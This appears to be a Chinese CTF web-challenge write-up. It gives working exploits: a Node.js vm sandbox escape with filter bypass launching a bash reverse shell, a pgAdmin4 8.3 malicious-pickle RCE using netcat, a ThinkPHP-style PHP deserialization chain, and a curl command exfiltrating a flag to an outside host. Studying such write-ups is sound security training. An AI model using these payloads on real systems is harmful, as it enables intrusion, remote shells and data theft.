获取中...

-

Just a minute...

my first cms

https://avd.aliyun.com/detail?id=AVD-2024-27622

弱口令登录

username : admin

password : Admin123

登录进去后:

图片.png

全世界最简单的CTF

给了/secret源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
const express = require('express');
const bodyParser = require('body-parser');
const app = express();
const fs = require("fs");
const path = require('path');
const vm = require("vm");

app
.use(bodyParser.json())
.set('views', path.join(__dirname, 'views'))
.use(express.static(path.join(__dirname, '/public')))

app.get('/', function (req, res){
res.sendFile(__dirname + '/public/home.html');
})


function waf(code) {
let pattern = /(process|\[.*?\]|exec|spawn|Buffer|\\|\+|concat|eval|Function)/g;
if(code.match(pattern)){
throw new Error("what can I say? hacker out!!");
}
}

app.post('/', function (req, res){
let code = req.body.code;
let sandbox = Object.create(null);
let context = vm.createContext(sandbox);
try {
waf(code)
let result = vm.runInContext(code, context);
console.log(result);
} catch (e){
console.log(e.message);
require('./hack');
}
})

app.get('/secret', function (req, res){
if(process.__filename == null) {
let content = fs.readFileSync(__filename, "utf-8");
return res.send(content);
} else {
let content = fs.readFileSync(process.__filename, "utf-8");
return res.send(content);
}
})


app.listen(3000, ()=>{
console.log("listen on 3000");
})

注意第25行开始的,很明显的vm沙箱逃逸。

https://xz.aliyun.com/t/11859?time__1311=mqmx0DBD9DyDuBYD%2FQbiQQLpDfhxAOiqhiD&alichlgref=https%3A%2F%2Fwww.bing.com%2F#toc-3

1
2
3
4
5
6
7
throw new Proxy({}, {
get: function(){
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return process'))();
return p.mainModule.require('child_process').execSync("bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'").toString();
}
})

这道题没回显,所以我们需要反弹shell,拿这个payload去打,剩下的是绕过过滤,这里过滤了我们需要的exec、process

对于process,他正则匹配没有i 也就是对大小写不敏感 我们可以通过js里面的 toLowerCase()绕过

1
'return process'变成'return Process'.toLowerCase();

最难的是exec绕过,这个东西不是字符串,而是方法,所以我们并不能像之前两种方式绕过,我们选择 Reflect.get 方法绕过

推一篇文章nodejs的命令执行绕过的

https://www.anquanke.com/post/id/237032

图片.png

图片.png

简单点就是Reflect.get(a,b)=a[b]

1
2
3
4
5
6
7
8
throw new Proxy({}, {
get: function(){
const cc = arguments.callee.caller;
const g = (cc.constructor.constructor('return global'))(); //拿到所有函数
const p = Reflect.get(g, Reflect.ownKeys(g).find(x=>x.includes('pro'))).mainModule.require(String.fromCharCode(99,104,105,108,100,95,112,114,111,99,101,115,115));//编码绕过构造process.mainModule.require('child_process')
return Reflect.get(p, Reflect.ownKeys(p).find(x=>x.includes('exe')))("bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'").toString();//构造exec函数
}
})

图片.png

attack_tacooooo

又要猜密码

给了帐号是tacooooo@qq.com,我怎么知道密码是多少,这还不是弱口令,纯猜,密码是tacooooo

登录进去后查看版本 pgAdmin4 8.3

直接去找漏洞,翻cve

https://www.shielder.com/advisories/pgadmin-path-traversal_leads_to_unsafe_deserialization_and_rce/

图片.png

图片.png

图片.png

图片.png

脚本也给了,我们稍微改改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import struct

def produce_pickle_bytes(platform, cmd):
b = b'\x80\x04\x95'
b += struct.pack('L', 22 + len(platform) + len(cmd))
b += b'\x8c' + struct.pack('b', len(platform)) + platform.encode()
b += b'\x94\x8c\x06system\x94\x93\x94'
b += b'\x8c' + struct.pack('b', len(cmd)) + cmd.encode()
b += b'\x94\x85\x94R\x94.'
print(b)
return b

if __name__ == '__main__':
with open('posix.pickle', 'wb') as f:
f.write(produce_pickle_bytes('posix', f"nc ip port -e /bin/sh"))

把运行脚本得到的pickle文件上传

图片.png

图片.png

注意这里是绝对路径

/var/lib/pgadmin/storage/tacooooo_qq.com/posix.pickle!a

更换cookie之后监听端口,拿到shell结果半天找不到flag,最后在/proc/1/environ里才找到flag

图片.png

用过就是熟悉

下载源码,在db.sql的938行,找到登录密码:!@!@!@!@NKCTFChu0

图片.png

登录进去后发现回收站里有个文件,我们恢复了。

图片.png

打开后发现这个文件是一个木马:

图片.png

那我们一个尝试文件包含它,然后执行命令。

下面开始审计源码:

登陆页面源码在/app/controller/user/include.class.php

在loginSubmit方法里有这么一句:

图片.png

这里他说的tp是thinkphp的意思,然后在这里有个反序列化的点,那么我们肯定就需要构造反序列化链条攻击了。

thinkphp链子开头一般是__destruct,直接全局搜索一下:

图片.png

发现有三个,而前两个的__destruct()无法成功构成链子,只有第三个可以:

图片.png

根据p2zhh师傅的提示,这个链子跟thinkphp5.0.24反序列化漏洞很像。

https://www.freebuf.com/articles/web/284091.html

这里的close()为关闭文件的方法,没有利用点,而removeFiles()中有个数组可以触发__toString

全局搜素__toString,根据文章的提示,会到这里

图片.png

跟进toJson

图片.png

跟进toArray()

图片.png

图片.png

因为$items是受保护的属性,所以这里toArray()可以触发__get方法。

图片.png

这里的data是我们可控的。这里Loginsubmit方法不存在,所以我们就能调用__call方法 这里我们找到两个__call方法:

在Config.php中,这个__call能进行文件包含。

图片.png

先放poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
namespace think\process\pipes;
use think\Collection; //在链子起点Windows.php页面找到依赖,也写到这里,相当于包含其他文件,因为我们这里是跨文件的链条。

class Pipes{ //windows类的父类,不要会报错
}

class Windows extends Pipes{ //windows类的起点。
private $files = []; //这里是数组。

function __construct(){
$this->files = [new Collection()];//触发Collection类里的__toString()->toJson()->toArray()
}
}

namespace think; //不写会报错
class Collection{
protected $items = [];
public function __construct(){
$this->items=new View(); //触发view类里的__get()
}
}

namespace think;
class Config{ //包含文件__call方法所属的类
}

class View{
public $engine=array("name"=>"data/files/shell"); //include("./".$arguments[0]['name']);是根据当前目录来的。
protected $data = [];
function __construct(){
$this->data['Loginout']=new config(); //config类里的__call方法
}
}


use think\process\pipes\Windows; //不写会报错
echo base64_encode(serialize(new Windows()));

得到payload后开始执行命令:

图片.png

这道题好像是无回显。

经过测试,好像没有bash和nc,反弹shell行不通,可能这道题不出网,那么就curl+DNS外带。

在线dns网站:https://requestrepo.com/#/requests

1
system("curl -X POST --data `cat%20/f*` http://b62zii2y.requestrepo.com");

图片.png

图片.png

图片.png

最后一个题不错,其他题挺水的

相关文章
评论
分享
  • ByteCTF2024大师赛web部分wp

    ezobj源码: 12345678910111213141516171819<?phpini_set("display_errors", "On");include_once("...

    ByteCTF2024大师赛web部分wp
  • 第四届长城杯web全题解

    WEB SQLUS 猜测账户是admin密码是任意一个字符 登录进去后头像那边,可以上传文件,但是文件名里不能有p,尝试传入.htaccess然后传入一个txt当做php执行。 在头像前端看到了上传路径 flag没有权...

    第四届长城杯web全题解
  • NepCTF2024部分web

    NepDouble代码过长这里不贴了,看到上传压缩包的第一反应是做一个链接到/flag的软连接,上传上去解压就可以看到flag了,但是这里 12if os.path.islink(new_file): return &...

    NepCTF2024部分web
  • 2024第七届巅峰极客部分wp

    GoldenHornKing源码给了是很明显的ssti,在/calc路由里传参calc_req,黑名单是不能有:数字、百分号、非ascii之外的字符。最烦的是这个access,原本是False,可以不用管,但是一旦成功执行一...

    2024第七届巅峰极客部分wp
  • 2024春秋杯部分wp

    brother打开题目是?name=hello,还回显了hello,看一下后台语言和框架 一眼ssti模版注入, 1?name={{g.pop.__globals__.__builtins__.__im...

    2024春秋杯部分wp
  • PolarCTF2024夏季个人挑战赛wp

    扫扫看不用扫,猜测是flag.php flag{094c9cc14068a7d18ccd0dd3606e532f} debudaoflag在cookie里: flag{72077a55w312584wb1aaa88888cd...

    PolarCTF2024夏季个人挑战赛wp
  • PolarCTF2024春季个人挑战赛wp

    机器人打开页面: 一眼robots.txt 123User-agent: *Disallow: /27f5e15b6af3223f1176293cd015771dFlag: flag{4749ea1ea481a5d 只有...

    PolarCTF2024春季个人挑战赛wp
  • 第九届中国海洋大学信息安全竞赛web题解

    ezPHPparse_str()可以进行变量覆盖。 全部流量包: 菜狗工具#1python继承链攻击。 1print(().__class__.__base__.__subclasses__()[132].__init__.__gl...

    第九届中国海洋大学信息安全竞赛web题解
  • DASCTF2024校赛

    cool_indexserver.js: 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525...

    DASCTF2024校赛
  • XYCTF2024

    ezhttp打开是登录页面,先看源码,源码提示: 1<!-- 为了防止忘记密码,我把它们放在某个地方了 --> 第一反应是robots.txt,进去看看。 得到/l0g1n.txt,进入得到帐号密码: 12u...

    XYCTF2024